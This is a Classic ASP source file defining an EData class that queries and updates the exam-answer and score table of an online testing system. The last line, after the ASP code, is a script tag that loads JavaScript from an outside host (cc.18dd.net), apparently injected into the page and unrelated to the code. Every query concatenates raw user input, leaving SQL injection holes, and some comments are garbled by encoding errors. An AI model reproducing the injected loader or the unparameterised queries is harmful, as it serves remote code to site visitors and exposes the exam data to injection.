<%
  '本類用于保存對表EData的數據庫訪問操作
  '表的每個字段對應類的一個成員變量
  Class EData
    Public DId    '數據編號
    Public UserName     '用戶名
	public PId    '試卷編號
	public QId    '試題編號
	public UAnswer  '用戶答案
	public DValue   '得分
    Public rs       '結果集
    Private strSql  'SQL語句
    '讀取單個考試數據信息
    public sub GetDataInfo(DId)
      '創(chuàng)建Recordset對象，處理查詢結果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '設置rs的ActiveConnection屬性，綁定到連接
      Set rs.ActiveConnection = Conn
      '設置游標類型
      rs.CursorType = 3
      '設置查詢的SELECT語句
      sql = "SELECT * FROM EData WHERE DId=" & DId
      '打開記錄集
      rs.Open sql
    end sub
	
	'獲取所有考試數據信息
    public sub GetDatalist()
	  '創(chuàng)建Recordset對象，處理查詢結果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設置游標類型
	  rs.CursorType = 3
	  '設置查詢的SELECT語句
 	  sql = "SELECT * FROM EData Order By DId"
	  '打開記錄集
	  rs.Open sql
    End Sub
	'獲取試卷的考試數據信息
    public sub GetDataByPId(pid)
	  '創(chuàng)建Recordset對象，處理查詢結果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設置游標類型
	  rs.CursorType = 3
	  '設置查詢的SELECT語句
	  If pid=0 Then
 	    sql = "SELECT PId,UserName,SUM(DValue) As dv FROM EData Group By PId,UserName"
	  Else
 	    sql = "SELECT PId,UserName,SUM(DValue) As dv FROM EData Where PId="&pid&" Group By PId,UserName"
	  End If
	  '打開記錄集
	  rs.Open sql
    End Sub
	'獲取指定考生試卷的考試數據信息
    public sub GetUserData(uname)
	  '創(chuàng)建Recordset對象，處理查詢結果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設置游標類型
	  rs.CursorType = 3
	  '設置查詢的SELECT語句
      sql = "SELECT PId,UserName,SUM(DValue) As dv FROM EData Where UserName='" & uname & "' Group By PId,UserName"
	  '打開記錄集
	  rs.Open sql
    End Sub
	'獲取試卷的考試數據信息
    public sub GetDataByUser(pid,uname,qid)
	  '創(chuàng)建Recordset對象，處理查詢結果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設置游標類型
	  rs.CursorType = 3
	  '設置查詢的SELECT語句
      sql = "Select * From EData Where PId=" & pid & _
	    " And UserName='" & uname & "' And QId=" & qid
	  '打開記錄集
	  rs.Open sql
    End Sub
	'插入考試數據信息
    Public Sub InsertData()
      strSql = "Insert Into EData Values('" & UserName & "'," & PId & "," & QID &",'" & UAnswer & "'," & DValue & ")"
      conn.Execute(strSql)
    End Sub
	'修改考試分數信息
    Public Sub UpdateData()
      strSql = "Update EData Set DValue=" & DValue & " Where PId=" & PId & _
	    " And QId=" & QId & " And UserName='" & UserName & "'"
      conn.Execute(strSql)
    End Sub
	'刪除考試數據信息
    Public Sub DeleteData(DIds)
      strSql = "DELETE FROM EData WHERE DId In(" & DIds & ")"
      conn.Execute(strSql)
    End Sub
	'判斷指定的試卷編號是否存在
	Public Function HavePId(pid)
	  strSql = "Select * From EData Where PId=" & pid
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HavePId = exist
	End Function
	'判斷指定的試題編號是否存在
	Public Function HaveQId(qid)
	  strSql = "Select * From EData Where QId=" & qid
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveQId = exist
	End Function
	'判斷用戶是否完成了該試卷的考試
	Public Function GetUserPaper()
	  strSql = "Select * From EData Where PId=" & PId & " And UserName='" & UserName & "'"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          GetUserPaper = exist
	End Function	
	'判斷用戶是否完成了該試卷的考試
	Public Function GetUserName()
	  strSql = "Select * From EData Where UserName='" & uname & "'"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          GetUserName = exist
	End Function	
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>